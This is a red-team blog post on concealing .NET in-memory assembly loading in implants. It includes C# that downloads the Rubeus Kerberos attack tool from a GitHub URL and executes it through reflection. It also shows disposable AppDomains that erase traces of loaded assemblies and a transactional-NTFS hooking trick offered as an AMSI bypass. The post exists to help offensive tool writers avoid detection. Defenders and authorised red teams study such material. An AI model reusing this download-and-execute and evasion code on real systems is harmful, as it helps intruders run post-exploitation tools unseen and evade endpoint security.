.NET Reflection and Disposable AppDomains

Disclaimer: I didn’t come up with any of the methods or techniques described in this post. I merely glued other people’s work together – like Sharknado and Final Fantasy VIII’s Gunblade, only better.

The premise of this post is to better conceal reflection and Assembly.Load() tradecraft in .NET Framework implants. Let’s first have a primer on reflection and why it’s useful.

Consider the following example:

public static void Main(string[] args)
{
    const string url = "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.5_Any/Rubeus.exe";

    byte[] payload;

    using (var client = new WebClient())
    {
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
        payload = client.DownloadData(url);
    }

    var asm = Assembly.Load(payload);
    asm.EntryPoint.Invoke(null, new object[] { new[] { "klist" } });
}

This is a very simple application that will download another .NET assembly over the wire, load it up into memory and execute it. The output is printed to the main app’s console as you’d typically expect.

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


Action: List Kerberos Tickets (Current User)

[*] Current LUID    : 0xfd4fa

This has a lot of advantages when it comes to writing offensive tooling that target .NET. The initial tool can be very lightweight, and capable of fetching / executing any further post-exploitation code. Covenant handles post-ex commands in its implants in much the same way. The “tasks” are compiled to tiny .NET assemblies, pushed over the C2 channel, loaded using reflection, executed and the results sent back.

So what are the downsides?

Tools such as Process Hacker can display the .NET assemblies that are loaded inside a process running the CLR. From our demo code above, this is what it looks like after Rubeus has been loaded. For one, we can see the name of the assembly and two, there is no path which shows it was loaded from memory.

Furthermore, these records stick around for the entire lifetime of the running app. The more you load, the more entries you’ll have here. Covenant compiles its tasks with random names – after a few commands, the process looks something like this:

AppDomain

The biggest thing I wanted to achieve was to dispose of assemblies after they’ve been loaded, which is something you can do already using the AppDomain class. This class has two methods called CreateDomain and Unload. This would allow us to create a new AppDomain, load and execute an assembly within it, and then dispose of it.

Note: Even though the AppDomain class is present in .NET Core and .NET 5+, these aforementioned methods are not supported, with no plans to do so in the future. Making this tradecraft relevant to .NET Framework only.

You may think you could just do this:

public static void Main(string[] args)
{
    const string url = "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.5_Any/Rubeus.exe";

    byte[] payload;

    using (var client = new WebClient())
    {
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
        payload = client.DownloadData(url);
    }

    var appDomain = AppDomain.CreateDomain("Demo Domain");
    var asm = appDomain.Load(payload);
    asm.EntryPoint.Invoke(null, new object[] { new[] { "klist" } });
            
    AppDomain.Unload(appDomain);
}

But no, nothing is ever that simple. This throws a FileNotFoundException even though we’re using the byte[] overload.

I found a pretty good explanation here which presents two solutions. One is to create an interface known by both the main app and the app being loaded – clearly not viable in our use case. The other is to use CreateInstanceAndUnwrap. This method is also used in b33f’s Melkor project.

All we need is a new class that inherits from MarshalByRefObject and a method to load and execute the assembly.

public class ShadowRunner : MarshalByRefObject
{
    public void LoadAssembly(byte[] assembly, string[] args)
    {
        var asm = Assembly.Load(assembly);
        asm.EntryPoint.Invoke(null, new object[] { args });
    }
}

The assembly object cannot be returned outside of this AppDomain, so execution should stay inside the ShadowRunner. We’d then create the AppDomain and execute the assembly like so:

var appDomain = AppDomain.CreateDomain("Demo AppDomain");

var runner = (ShadowRunner)appDomain.CreateInstanceAndUnwrap(typeof(ShadowRunner).Assembly.FullName, typeof(ShadowRunner).FullName);
runner.LoadAssembly(payload, new[] { "klist" });

AppDomain.Unload(appDomain);

If we debug this and place a break point prior to unloading the AppDomain, we’ll see Rubeus being loaded in Process Hacker.

Afterward, the AppDomain is gone, along with any mention of Rubeus.

Assembly Path

Even though this is being loaded in a different AppDomain, it still has no path because it’s loaded from memory. Obviously we don’t actually want to drop assemblies to disk in order to load them, but there is a method for tricking the CLR into *thinking* it’s loading from disk even when it’s not.

This blog post was authored by Dave Cossa aka G0ldenGunSec. It describes how to use transactional NTFS and API hooking to send fake data back to the Assembly.Load(string assemblyName) overload.

All of the magic is implemented in his SharpTransactedLoad repo.

Another benefit to doing this is that AMSI only scans content when using the Assembly.Load(byte[] assemblyBytes) overload, so this also acts as an AMSI bypass without needing a memory-patching bypass or similar.

One thing I changed was to make the main TransactedAssembly class non-static and have it inherit IDisposable.

I could then call it like:

using (var loader = new TransactedAssembly())
{
    loader.Load(payload, new[] { "klist" });
}

This provided a nice means of creating and disposing of the AppDomain and API hooks etc when they are no longer needed. I also replaced EasyHook with CCob’s MinHook.NET project.

Now in the debugger, we see that the Rubeus assembly appears to have loaded from the current working directory of the app.

Return Data

I did say that you can’t return the Assembly object from the ShadowRunner, but you can return other data that may be output from the assembly. Another example:

namespace ClassLibrary1
{
    public class Class1
    {
        public string Method1()
        {
            return "Hello from assembly";
        }
    }
}

Refactor the ShadowRunner to call the specified type and method, and return a string.

public string LoadAssembly(string assembly, string typeName, string methodName)
{
    var asm = Assembly.Load(assembly);

    var type = asm.GetType(typeName);
    var method = type.GetMethod(methodName);
    var instance = Activator.CreateInstance(type,
        BindingFlags.Instance | BindingFlags.Public,
        null,
        null,
        null);

    var result = (string) method?.Invoke(instance, null);
    return result;
}

We can bring that data all the way back out from the TransactedAssembly class into ourr main app and print it.

using (var loader = new TransactedAssembly())
{
    var result = loader.Load(payload, "ClassLibrary1.Class1", "Method1");
    Console.WriteLine(result);
}
PS C:\> .\MainApp.exe
Hello from assembly

Conclusion

For all the offensive .NET tool-smiths out there – I hope this overview provides an alternative approach for leveraging reflection in your projects.